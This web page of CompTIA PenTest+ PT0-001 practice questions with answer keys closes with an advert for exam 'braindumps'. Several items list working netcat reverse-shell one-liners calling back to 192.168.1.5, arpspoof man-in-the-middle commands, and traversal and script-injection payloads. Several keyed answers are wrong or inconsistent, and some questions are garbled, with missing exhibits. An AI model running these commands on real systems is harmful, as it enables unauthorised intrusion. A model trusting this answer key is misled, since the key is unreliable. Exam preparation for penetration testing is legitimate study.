Pass Your CompTIA PenTest+ PT0-001 Exam on Jan 27, 2022 with 250 Questions
PT0-001 Free Exam Study Guide! (Updated 250 Questions)
NEW QUESTION 121
During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO)
- A. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>&1|nc 192.168.1.5 44444>/tmp /f
- B. nc -e /bin/sh 192.168.1.5 4444
- C. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>&1|nc 192.168.1.5 444444>/tmp /f
- D. nc -nlvp 4444 -e /bin/sh
- E. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>&1|nc 192.168.5.1 44444>/tmp /f
- F. nc 192.168.1.5 44444
Answer: B,E
NEW QUESTION 122
A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovered vulnerabilities, the company asked the consultant to perform the following tasks:
* Code review
* Updates to firewall setting
- A. Threat prevention
- B. Risk acceptance
- C. Post-mortem review
- D. Scope creep
Answer: A
NEW QUESTION 123
A security guard observes an individual entering the building after scanning a badge. The facility has a strict badge-in and badge-out requirement with a turnstile. The security guard then audits the badge system and finds two log entries for the badge in Question: 158
- A. The system reached the crossover error rate.
- B. The badge was cloned.
- C. The physical access control server is malfunctioning.
- D. The employee lost the badge.
Answer: B
NEW QUESTION 124
Which of the following documents BEST describes the manner in which a security assessment will be conducted?
- A. SOW
- B. MSA
- C. BIA
- D. SLA
Answer: C
NEW QUESTION 125
Click the exhibit button.
Given the Nikto vulnerability, scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system? (Choose two.)
- A. SQL injection
- B. Arbitrary code execution
- C. Login credential brute-forcing
- D. Session hijacking
- E. Cross-site request forgery
Answer: C,D
NEW QUESTION 126
A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability?
- A. Perform system hardening
- B. Install host-based intrusion detection
- C. Implement input normalization
- D. Randomize the credentials used to log in
Answer: C
NEW QUESTION 127
During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).
- A. nc -e /bin/sh 192.168.1.5 44444
- B. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f
- C. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f
- D. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f
- E. nc -nlvp 44444 -e /bin/sh
- F. nc 192.168.1.5 44444
Answer: B,E
Explanation:
Explanation/Reference: https://www.reddit.com/r/hacking/comments/5ms9gv/help_reverse_shell_exploit/
NEW QUESTION 128
A penetration tester is performing a code review against a web application Given the following URL and source code:
Which of the following vulnerabilities is present in the code above?
- A. SQL injection
- B. Cross-site scripting
- C. Command injection
- D. LDAP injection
Answer: C
NEW QUESTION 129
A vulnerability scan report shows what appears to be evidence of a memory disclosure vulnerability on one of the target hosts. The administrator claims the system is patched and the evidence is a false positive.
Which of the following is the BEST method for a tester to confirm the vulnerability exists?
- A. Confirm via evidence of the updated version number.
- B. Run the vulnerability scanner again.
- C. Manually run publicly available exploit code.
- D. Perform dynamic analysis on the vulnerable service.
Answer: B
NEW QUESTION 130
A penetration tester successfully exploits a Windows host and dumps the hashes Which of the following hashes can the penetration tester use to perform a pass-the-hash attack?
A)
B)
C)
D)
- A. Option B
- B. Option C
- C. Option A
- D. Option D
Answer: D
NEW QUESTION 131
At the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The file is hosted on a public web server. Which of the following BEST describes the technique that was used to obtain this information?
- A. Enumeration of services
- B. OSINT gathering
- C. Port scanning
- D. Social engineering
Answer: B
Explanation:
Explanation/Reference:
NEW QUESTION 132
A penetration tester successfully exploits a DM2 server that appears to be listening on an outbound port The penetration tester wishes to forward that traffic back to a device Which of the following are the BEST tools to use few this purpose? (Select TWO)
- A. Tcpdump
- B. Nmap
- C. Cain and Abel
- D. Wiresrtark
- E. SSH
- F. Netcat
Answer: D,E
NEW QUESTION 133
A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform?
- A. Command injection attack
- B. Remote file inclusion attack
- C. Directory traversal attack
- D. Clickjacking attack
Answer: D
Explanation:
Explanation/Reference: https://geekflare.com/http-header-implementation/
NEW QUESTION 134
A penetration test was performed by an on-staff junior technician. During the test, the technician discovered the web application could disclose an SQL table with user account and password information. Which of the following is the MOST effective way to notify management of this finding and its importance?
- A. Notify the development team of the discovery and suggest that input validation be implemented with a professional penetration testing company.
- B. Connect to the SQL server using this information and change the password to one or two non-critical accounts to demonstrate a proof--of-concept to management.
- C. Request that management create an RFP to begin a formal engagement with a professional penetration testing company.
- D. Document the findings with an executive summary, recommendations, and screenshots of the web application disclosure.
Answer: D
NEW QUESTION 135
A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting "True".
Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.)
- A. Change the '=' to '-eq'.
- B. Change 'else' to 'elif'.
- C. Change 'source' and 'dest' to "$source" and "$dest".
- D. Remove the 'let' in front of 'dest=5+5'.
- E. Change 'fi' to 'Endli'.
Answer: C,D
NEW QUESTION 136
A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below:
IP: 192.168.1.20
NETMASK: 255.255.255.0
DEFAULT GATEWAY: 192.168.1.254
DHCP: 192.168.1.253
DNS: 192.168.10.10, 192.168.20.10
Which of the following commands should the malicious user execute to perform the MITM attack?
- A. arpspoof -r -t 192.168.1.253 192.168.1.20
- B. arpspoof -c both -r -t 192.168.1.1 192.168.1.20
- C. arpspoof -c both -t 192.168.1.20 192.168.1.253
- D. arpspoof -t 192.168.1.20 192.168.1.254
Answer: D
Explanation:
Explanation
Explanation/Reference: https://www.hackers-arise.com/single-post/2017/07/25/Man-the-Middle-MiTM-Attack-with- ARPspoofing
NEW QUESTION 137
A penetration tester has identified a directory traversal vulnerability.
Which of the following payloads could have helped the penetration tester identify this vulnerability?
- A. && dir C:/
- B. ../../../../../../../../
- C. 'or 'folder' like 'file'; --
- D. "><script>document.location=/root/</script>
- E. || is /tmp/
Answer: B
NEW QUESTION 138
......
CompTIA PenTest+ PT0-001 Practice Test Questions, CompTIA PenTest+ PT0-001 Exam Practice Test Questions
Successfully completing the CompTIA PT0-001 exam is the main requirement for obtaining the CompTIA PenTest+ certification. It is an intermediate-level test designed for those individuals who are interested in learning and proving their knowledge in the basics of penetration testing.
Difficulty in writing PT0-001 Exam
Candidates face many problems when they start preparing for the CompTIA PT0-001 exam. If a candidate wants to prepare his for the CompTIA PT0-001 exam without any problem and get good grades in the exam. Then they have to choose the best CompTIA PT0-001 dumps for real exam questions practice. There are many websites that are offering the latest CompTIA PT0-001 exam questions and answers but these questions are not verified by CompTIA certified experts and that’s why many are failed in their just first attempt. TestPDF is the best platform which provides the candidate with the necessary CompTIA PT0-001 questions that will help him to pass the CompTIA PT0-001 exam on the first time. The candidate will not have to take the CompTIA PT0-001 exam twice because with the help of CompTIA PT0-001 dumps Candidate will have every valuable material required to pass the CompTIA PT0-001 exam. We are providing the latest and actual questions and that is the reason why this is the one that he needs to use and there are no chances to fail when a candidate will have valid braindumps from TestPDF. We have the guarantee that the questions that we have will be the ones that will pass candidate in the CompTIA PT0-001 exam in the very first attempt.
PT0-001 Dumps for CompTIA PenTest+ Certified Exam Questions & Answer: https://pass4sure.testpdf.com/PT0-001-practice-test.html
